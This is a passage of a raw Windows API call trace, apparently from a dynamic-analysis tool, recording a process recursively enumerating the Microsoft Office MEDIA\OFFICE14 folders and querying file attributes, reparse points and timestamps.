| out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab12600, ftCreationTime.dwHighDateTime=0x1bf4533, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3ab12600, ftLastWriteTime.dwHighDateTime=0x1bf4533, nFileSizeHigh=0x0, nFileSizeLow=0x5af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305257.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x494c0d00, ftCreationTime.dwHighDateTime=0x1bf4534, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x494c0d00, ftLastWriteTime.dwHighDateTime=0x1bf4534, nFileSizeHigh=0x0, nFileSizeLow=0x3372, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305493.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8598100, ftCreationTime.dwHighDateTime=0x1bf71c6, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb8598100, ftLastWriteTime.dwHighDateTime=0x1bf71c6, nFileSizeHigh=0x0, nFileSizeLow=0x60e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0315447.JPG", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653ad300, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x653ad300, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x5168, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332268.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x666c0000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x666c0000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x47c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332364.WMF", cAlternateFileName="")) returned 1 [0069.066] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5ca1000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc5ca1000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x1f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0335112.WMF", cAlternateFileName="")) returned 1 [0069.066] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 1 [0069.066] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 0 [0069.066] GetLastError () returned 0x12 [0069.066] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1029760) returned 1 [0069.066] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.066] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10296d8) returned 1 [0069.066] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1029650) returned 1 [0069.066] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0069.066] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029650 [0069.066] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" (normalized: "c:\\program files\\microsoft office\\media\\office14"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" (normalized: "c:\\program files\\microsoft office\\media\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.068] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.068] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x103ca28 [0069.068] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x103ca28, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x103ca28, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.068] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ca28) returned 1 [0069.068] NtClose (Handle=0x198) returned 0x0 [0069.068] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1029650) returned 1 [0069.068] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029650 [0069.068] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10296d8 [0069.068] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029760 [0069.068] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0069.068] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.068] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0069.068] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP", cAlternateFileName="")) returned 1 [0069.068] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BULLETS", cAlternateFileName="")) returned 1 [0069.068] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES", cAlternateFileName="")) returned 1 [0069.068] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.DLL", cAlternateFileName="")) returned 1 [0069.068] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.068] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.068] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.069] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.069] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.069] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.069] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78450, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MMW", cAlternateFileName="")) returned 1 [0069.069] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.069] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.069] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.069] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.069] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.069] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff1ea0 [0069.069] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c758 [0069.069] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.069] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78450, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MMW", cAlternateFileName="")) returned 0 [0069.069] GetLastError () returned 0x12 [0069.069] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d0a0 [0069.069] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.069] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.069] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0069.069] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.069] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.070] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.070] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x103ca28 [0069.070] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x103ca28, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x103ca28, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.070] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ca28) returned 1 [0069.070] NtClose (Handle=0x198) returned 0x0 [0069.070] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.070] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.070] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.070] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.070] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0069.071] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.071] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 1 [0069.071] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.071] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.071] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.071] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.071] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.071] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0069.071] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.071] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff1ec0 [0069.071] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1032930 [0069.071] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.071] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 0 [0069.071] GetLastError () returned 0x12 [0069.071] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.071] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.071] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.071] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 1 [0069.071] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 0 [0069.071] GetLastError () returned 0x12 [0069.072] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.072] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.072] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0069.072] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.072] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP", cAlternateFileName="")) returned 1 [0069.072] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.072] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.073] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.073] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x103ca28 [0069.073] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x103ca28, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x103ca28, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.073] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ca28) returned 1 [0069.073] NtClose (Handle=0xec) returned 0x0 [0069.073] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.074] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.074] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.074] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.074] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.075] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.090] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP.DLL", cAlternateFileName="")) returned 1 [0069.090] RtlAllocateHeap (HeapHandle=0xf70000, 